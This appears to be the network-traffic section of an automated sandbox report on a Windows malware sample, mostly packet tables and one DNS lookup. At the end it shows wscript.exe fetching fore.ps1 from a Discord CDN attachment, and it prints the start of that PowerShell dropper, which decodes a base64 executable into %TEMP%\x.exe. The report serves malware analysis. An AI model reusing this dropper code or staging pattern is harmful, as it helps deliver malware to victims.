Dec 13, 2024 07:51:05.326083899 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.326090097 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.326133966 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.326139927 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.326179981 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.326189041 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.326231003 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.334415913 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.334503889 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.342627048 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.342706919 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.342729092 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.342778921 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.350991964 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.351051092 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.445686102 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.445801020 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.517904043 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.518002033 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.518018961 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.518062115 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.523387909 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.523449898 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.523468018 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.523509026 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.531502962 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.531565905 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.531589031 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.531639099 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.539479971 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.539535046 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.539550066 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.539592028 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.547553062 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.547611952 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.547626972 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.547676086 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.555571079 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.555629969 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.563571930 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.563637972 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.563654900 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.563699961 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.571552038 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.571619987 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.571641922 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.571683884 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.579622984 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.579684973 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.579693079 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.579732895 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.587810993 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.587874889 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.594059944 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.594136000 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.594197989 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.594247103 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.600512981 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.600680113 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.600706100 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.600766897 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.710203886 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.710391998 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.710419893 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.710473061 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.712445974 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.712503910 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.712521076 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.712599039 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.717267990 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.717376947 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.719477892 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.719532967 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.723855972 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.723917961 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.728452921 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.728519917 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.737320900 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.737401009 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.745904922 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.745973110 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.750257969 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.750325918 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.759068966 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.759130001 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.767585993 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.767664909 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.776252985 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.776340008 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.780735970 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.780808926 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.789319038 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.789383888 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.798065901 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.798132896 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.802546978 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.802612066 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.902633905 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.902828932 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.907901049 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.907974005 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.914720058 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.914789915 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.921433926 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.921500921 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.924483061 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.924546957 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.930802107 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.930871010 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.936811924 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.936885118 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.939871073 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.939946890 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.945898056 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.945964098 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.951946974 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.952024937 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.959511042 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.959585905 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.961180925 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.961260080 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.967133999 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.967215061 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.973220110 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.973289967 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.976373911 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.976459980 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.982387066 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.982464075 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.985452890 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.985524893 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.991537094 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.991615057 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.997531891 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.997615099 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.003616095 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.003695011 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.006702900 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.006769896 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.012789965 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.012968063 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.015731096 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.015810966 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.021796942 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.021858931 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.096002102 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.096206903 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.100236893 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.100317001 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.104949951 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.105022907 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.109500885 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.109565020 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.111855984 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.111922026 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.118549109 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.118571043 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.118616104 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.118629932 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.132924080 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.132944107 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.133003950 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.133018017 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.133058071 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.146575928 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.146615982 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.146766901 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.146775961 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.146817923 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.158953905 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.158994913 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.159034014 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.159040928 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.159068108 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.159075975 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.172271013 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.172316074 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.172354937 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.172363997 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.172375917 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.172403097 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.183880091 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.183923960 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.183962107 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.183969975 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.183995008 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.184003115 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.287178993 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.287228107 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.287393093 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.287415981 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.287466049 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.295437098 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.295480967 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.295528889 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.295538902 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.295547962 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.295577049 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.304570913 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.304615974 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.304646969 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.304657936 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.304673910 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.304696083 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.313230991 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.313277006 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.313314915 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.313325882 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.313339949 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.313370943 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.320528030 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.320575953 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.320612907 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.320622921 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.320633888 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.320663929 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.329613924 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.329658985 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.329695940 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.329720974 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.329731941 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.329758883 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.337089062 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.337136030 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.337205887 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.337218046 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.337229013 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.337260962 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.344698906 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.344748020 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.344794989 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.344804049 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.344829082 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.344845057 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.350610971 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.350662947 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.350701094 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.350711107 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.350723028 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.350752115 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.350794077 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:06.350847960 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.351030111 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:06.351047039 CET	443	49730	162.159.129.233	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 07:51:03.490262985 CET	60133	53	192.168.2.4	1.1.1.1
Dec 13, 2024 07:51:03.628057003 CET	53	60133	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 07:51:03.490262985 CET	192.168.2.4	1.1.1.1	0x6905	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 07:51:03.628057003 CET	1.1.1.1	192.168.2.4	0x6905	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:51:03.628057003 CET	1.1.1.1	192.168.2.4	0x6905	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:51:03.628057003 CET	1.1.1.1	192.168.2.4	0x6905	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:51:03.628057003 CET	1.1.1.1	192.168.2.4	0x6905	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:51:03.628057003 CET	1.1.1.1	192.168.2.4	0x6905	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	162.159.129.233	443	416	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 06:51:04 UTC	475	OUT	GET /attachments/1295304757166080020/1316923696224669696/fore.ps1?ex=675cd044&is=675b7ec4&hm=5608089203d1f55754eb42ae1b19e52da07e426935e063abf1f2bb096cfc394e& HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: cdn.discordapp.com Connection: Keep-Alive
2024-12-13 06:51:05 UTC	1201	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 06:51:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 449316 Connection: close CF-Ray: 8f14060d2ade0f51-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 21862 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="fore.ps1" ETag: "a71b01ef9fb1e8252d07f776432a39de" Expires: Sat, 13 Dec 2025 06:51:05 GMT Last-Modified: Fri, 13 Dec 2024 00:24:36 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1734049476512190 x-goog-hash: crc32c=7z0DpA== x-goog-hash: md5=pxsB75+x6CUtB/d2Qyo53g== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 449316 x-guploader-uploadid: AFiumC7UqaPF9CMePP4QGABNr4LazNBPnKpHX8BHHefornBFbaZ1m0mSk6UMJjfW_c-IGrqla0c X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=pxnEIo9hxUKZ3OXt1j5gLBrMXhs0wLFroQ.5e8sX8L4-1734072665-1.0.1.1-qBjYlSli2WyVkE9.gDN0x_rYZzvdCZDlCajlB_fEeD4_K2q5orYHdA3rseeoMwj7tn_rdsw8Z9eLI4tVGdrjNg; path=/; expires=Fri, 13-Dec-24 07:21:05 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
2024-12-13 06:51:05 UTC	517	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 53 35 53 54 62 53 5a 61 43 43 57 31 65 25 32 46 6f 6f 76 25 32 46 4f 62 73 6a 57 55 63 61 7a 6a 79 61 6d 46 47 50 25 32 42 6e 4e 69 70 68 78 61 69 32 36 55 49 61 6b 58 63 50 6a 65 58 25 32 46 49 30 69 51 67 55 39 61 38 69 36 6e 78 6d 63 59 55 34 61 38 68 4a 63 59 36 67 5a 4f 72 79 71 54 63 67 4f 34 6d 67 78 6c 41 66 63 79 30 43 76 6f 31 44 57 52 35 53 68 35 53 69 4d 53 4b 5a 62 32 57 41 32 65 7a 77 73 4d 48 75 35 76 69 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S5STbSZaCCW1e%2Foov%2FObsjWUcazjyamFGP%2BnNiphxai26UIakXcPjeX%2FI0iQgU9a8i6nxmcYU4a8hJcY6gZOryqTcgO4mgxlAfcy0Cvo1DWR5Sh5SiMSKZb2WA2ezwsMHu5viA%3D%3D"}],"group":"cf-nel","max_age
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 24 70 3d 5b 49 4f 2e 50 61 74 68 5d 3a 3a 43 6f 6d 62 69 6e 65 28 24 65 6e 76 3a 54 45 4d 50 2c 22 78 2e 65 78 65 22 29 0d 0a 5b 49 4f 2e 46 69 6c 65 5d 3a 3a 57 72 69 74 65 41 6c 6c 42 79 74 65 73 28 24 70 2c 5b 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 Data Ascii: $p=[IO.Path]::Combine($env:TEMP,"x.exe")[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUu
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 2f 50 4a 4a 6b 61 65 66 68 7a 51 7a 50 41 52 4f 34 4b 58 7a 65 4f 70 71 67 69 36 7a 55 39 4e 76 2b 6e 71 67 39 31 4c 4f 76 69 57 75 37 66 4f 65 51 6c 68 49 39 70 66 38 54 2f 65 51 48 30 6d 36 33 68 45 71 72 38 67 68 38 30 69 4c 7a 6f 6c 36 73 61 7a 70 6a 38 41 77 47 41 36 51 4b 4f 36 76 64 2b 47 6e 75 47 6e 69 6e 4d 77 63 70 72 6e 37 62 4c 49 5a 32 38 70 50 69 62 56 70 72 6e 69 52 67 5a 71 41 48 30 69 54 5a 59 4d 4e 6d 4f 58 49 6c 44 39 31 52 65 44 73 68 74 70 67 59 77 62 37 6e 2f 68 35 69 33 6b 41 73 6c 41 74 4e 55 33 61 74 71 41 58 53 34 54 43 6a 70 4d 78 55 45 51 79 78 62 4a 78 54 62 34 62 6d 62 5a 2b 63 48 52 44 58 46 69 4b 34 37 55 4c 66 48 79 75 6b 6c 69 65 37 34 56 63 71 65 76 52 67 2b 7a 48 34 69 4b 2f 54 37 31 71 54 37 54 4e 76 36 2b 6d 5a 68 2f Data Ascii: 